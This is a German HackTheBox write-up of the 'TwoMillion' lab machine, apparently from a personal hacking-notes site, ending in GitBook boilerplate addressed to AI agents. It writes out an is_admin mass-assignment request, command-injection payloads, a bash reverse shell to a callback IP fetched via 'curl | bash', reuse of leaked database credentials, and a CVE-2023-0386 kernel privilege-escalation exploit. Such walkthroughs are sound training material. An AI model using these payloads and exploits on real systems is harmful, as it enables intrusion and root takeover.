> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md).

# TwoMillion HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/TwoMillion>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Missbrauch der API, um einen gültigen Einladungscode zu generieren
* Missbrauch der API, um unsere Berechtigung zum Administrator zu erhöhen
* Befehlsinjektion über schlecht gestaltete API-Funktionalität
* Informationsleck
* Privilegieneskalation durch Kernel-Ausnutzung (CVE-2023-0386) - OverlayFS-Schwachstelle
  {% endhint %}

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/c3a22dfad4595e77e761c5568f2f31381d158f28" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/a85f309dd7b2503dda9d36f750acaf975504bd1c" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts
```

<figure><img src="/files/a1e4abf63b9090afc9c9cdae993cd21ba0001903" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 2million.htb-oN targeted
```

<figure><img src="/files/f8a9c77e74c94e96e7dea77ff1685802d132fcfb" alt=""><figcaption></figcaption></figure>

## Port 80 - HTTP

<figure><img src="/files/9be271a807b5bf326c50d01cdf76f08d4d77add5" alt=""><figcaption></figcaption></figure>

#### Ressourcenerkundung mit Gobuster

```bash
gobuster dir -u http://2million.htb/ /
-w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt /
-t 100 -r --exclude-length 1674
```

<figure><img src="/files/b95fc8d2b1c138aea62ba13ba29e351a8b44e930" alt=""><figcaption></figcaption></figure>

#### Entdeckung des `inviteapi.min.js` Datei

Diese JavaScript-Datei ist mit dem klassischen `eval(function(p,a,c,k,e,d){...})` Verfahren stark obfuskiert. Nach der Deobfuskierung tauchen zwei interessante Funktionen auf:

* `verifyInviteCode(code)`: sendet einen Einladungscode an `/api/v1/invite/verify`
* `makeInviteCode()`: sendet eine Anfrage an `/api/v1/invite/how/to/generate`

<figure><img src="/files/8e69b31c6e9d85ddef8c335687e24c4f9a719b5e" alt=""><figcaption></figcaption></figure>

## Ausnutzen der API – Generieren eines Einladungscodes

#### Erster Aufruf:

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://2million.htb/api/v1/invite/how/to/generate
```

Antwort

> {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Die Daten sind verschlüsselt ... Wir sollten wahrscheinlich den Verschlüsselungstyp überprüfen, um sie zu entschlüsseln..."}#

#### ROT13-Entschlüsselung → neue URL:

{% embed url="<https://rot13.com/>" %}

<figure><img src="/files/3bdcc5c8b21da6a9546906ce70b9f8a35591bd9a" alt=""><figcaption></figcaption></figure>

Um den Einladungscode zu generieren, sende eine POST-Anfrage an /api/v1/invite/generate

#### Anfrage:

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://amillion.htb/api/v1/invite/generate
```

<figure><img src="/files/934e53c3528cf2e2d2917031ac828fd2e39f44f7" alt=""><figcaption></figcaption></figure>

Antwort (base64):

* V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=

Dekodierung:

```bash
echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo
```

WUOIF-LK68X-HUGTW-DOX1S

Wir verwenden diesen Code, um auf der Website ein Konto zu erstellen.

<figure><img src="/files/e2204e807f5328e104eef526788d42a44cfc029e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8f55c5db69c21ded4cb53fb6f46f7eca90298a93" alt="" width="389"><figcaption></figcaption></figure>

## HackTheBox API-Ausnutzung

<figure><img src="/files/7149e76c146baa23e7794ae7af8a0c0a5b1c227a" alt=""><figcaption></figcaption></figure>

#### API-Beobachtung

Beim Aufrufen von `/api`, können wir die verfügbaren Routen beobachten.

<figure><img src="/files/e2aec1562e3c6c5d90c8d109a903acc9624db356" alt=""><figcaption></figcaption></figure>

#### Versuch, die VPN-Konfiguration zu generieren (anfänglicher Fehlschlag)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate
```

Antwort: Nicht erlaubt.

<figure><img src="/files/f49bd4a287fdc41cb781b57fe9ae72ffa41686ae" alt=""><figcaption></figcaption></figure>

#### Ändern unserer Rolle über die API

<figure><img src="/files/9434843c2538a6c02df413d85bbd0c0eb16ba395" alt=""><figcaption></figcaption></figure>

Wir testen das Ändern der Benutzereinstellungen mit dem Endpunkt:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update
```

> {"status":"danger","message":"Fehlender Parameter: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'
```

> {"status":"danger","message":"Fehlender Parameter: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'
```

> Antwort:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/62e88627b74a9855a9cce4e37ba8b1428a115147" alt=""><figcaption></figcaption></figure>

#### Überprüfen unseres Admin-Status

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}
```

<figure><img src="/files/cc2685d8caab4dac000fd14d97e07d8f0fd9c279" alt="" width="563"><figcaption></figcaption></figure>

### RCE über Command Injection

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'
```

<figure><img src="/files/3fdb3227c1a2072abb9150f4a7fe9ced36c283dd" alt=""><figcaption></figcaption></figure>

Versuch, einen Befehl in das Feld einzuschleusen `Benutzernamen`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'
```

<figure><img src="/files/c14c5348ce7f84b643fb45c061ab71f7ba345893" alt=""><figcaption></figcaption></figure>

#### Reverse Shell

1. **Dateiserver**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80
```

2. **Netcat lauscht**

```bash
nc -nvlp 443
```

3. **Befehl senden**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'    
```

Wir erhalten eine Reverse Shell

<figure><img src="/files/d5d91e875c2f63f497f27e04277f063afeab415d" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

#### Auffinden sensibler Dateien

Durch die Suche in den aus unserer Shell zugänglichen Dateien entdecken wir eine versteckte `.env` Datei, die Anmeldedaten für die Datenbank enthält:

```bash
DATABASE=htb_prod
USERNAME=admin
PASSWORD=SuperDuperPass123
```

<figure><img src="/files/51bdc0a7e990d1db15dd79ca94acd87c501940f8" alt=""><figcaption></figcaption></figure>

Wir bemerken außerdem die Anwesenheit eines zweiten Benutzers namens `admin`.

<figure><img src="/files/6df32f8f4e7a557f16c5adf3be2b09ed3914ed88" alt=""><figcaption></figcaption></figure>

#### Wiederverwendung von Passwörtern

Beim Testen der gefundenen Anmeldedaten sehen wir, dass der Systembenutzer `admin` verwendet das **dasselbe Passwort** wie das Datenbankpasswort.

### Flagge user.txt :)

<figure><img src="/files/7953f17914c3ec6e09c671e6827faf2945752cd8" alt=""><figcaption></figcaption></figure>

Diese schlechte Praxis ermöglicht es uns, eine **SSH-Verbindung**:

#### System-E-Mail

<figure><img src="/files/b70c6cdd462c5047ecec03f32864713f253eca78" alt=""><figcaption></figcaption></figure>

Beim Verbinden informiert uns eine Nachricht über das Vorhandensein einer **neuen E-Mail**. Beim Lesen erhalten wir wichtige Informationen:

> Hey Admin,
>
> Ich weiß, dass du so schnell wie möglich an der DB-Migration arbeitest. Während wir teilweise offline sind, kannst du auch das Betriebssystem auf unserem Webhost aktualisieren? Dieses Jahr gab es bereits einige schwerwiegende Linux-Kernel-CVEs. Die in OverlayFS / FUSE sieht übel aus. Wir dürfen uns dadurch nicht kompromittieren lassen.

<figure><img src="/files/253b9a190e80d07831bd2745e110461e8d52d1db" alt=""><figcaption></figcaption></figure>

Diese Nachricht führt uns auf die Spur einer **bekannten Schwachstelle in OverlayFS**:/ **CVE-2023-0386** – eine lokale Privilegieneskalationsschwachstelle im Linux-Kernel.

## Ausnutzung von CVE-2023-0386 – OverlayFS-Privilegieneskalation

> OverlayFS ermöglicht es, Dateisysteme übereinanderzulegen. In einigen Versionen des Linux-Kernels ermöglicht eine mangelhafte Kapazitätsverwaltung einem unprivilegierten Benutzer, Code mit **Root-Rechten**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**Schritte zur Durchführung**

1. **Den Exploit klonen** von unserem lokalen Rechner aus:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **Übertragen Sie die kompilierten Dateien** auf die Zielmaschine (`scp`, `python -m http.server`, usw.).

<figure><img src="/files/7bd1637e7fada4c5f1ebdb9ec16d6db0622277fa" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5291ba29fd1642f0e8c817d74d3aecf95f5ca9f7" alt=""><figcaption></figcaption></figure>

2. **Auf der Zielmaschine**, ausführen in **zwei Terminals**:

* Terminal A:

```bash
./fuse ./ovlcap/lower ./gc
```

* Terminal B:

```bash
./exp
```

Wenn alles gut geht, erhalten wir eine **root** Shell

<figure><img src="/files/2358dc822363b4f2d8f9d78548bd7934b06dbad1" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/cb3edb03024c9b57c53187fcb7483d5bbe7e3135" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d57bbb1e22fd1fef143be334feb496659072cb9c" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
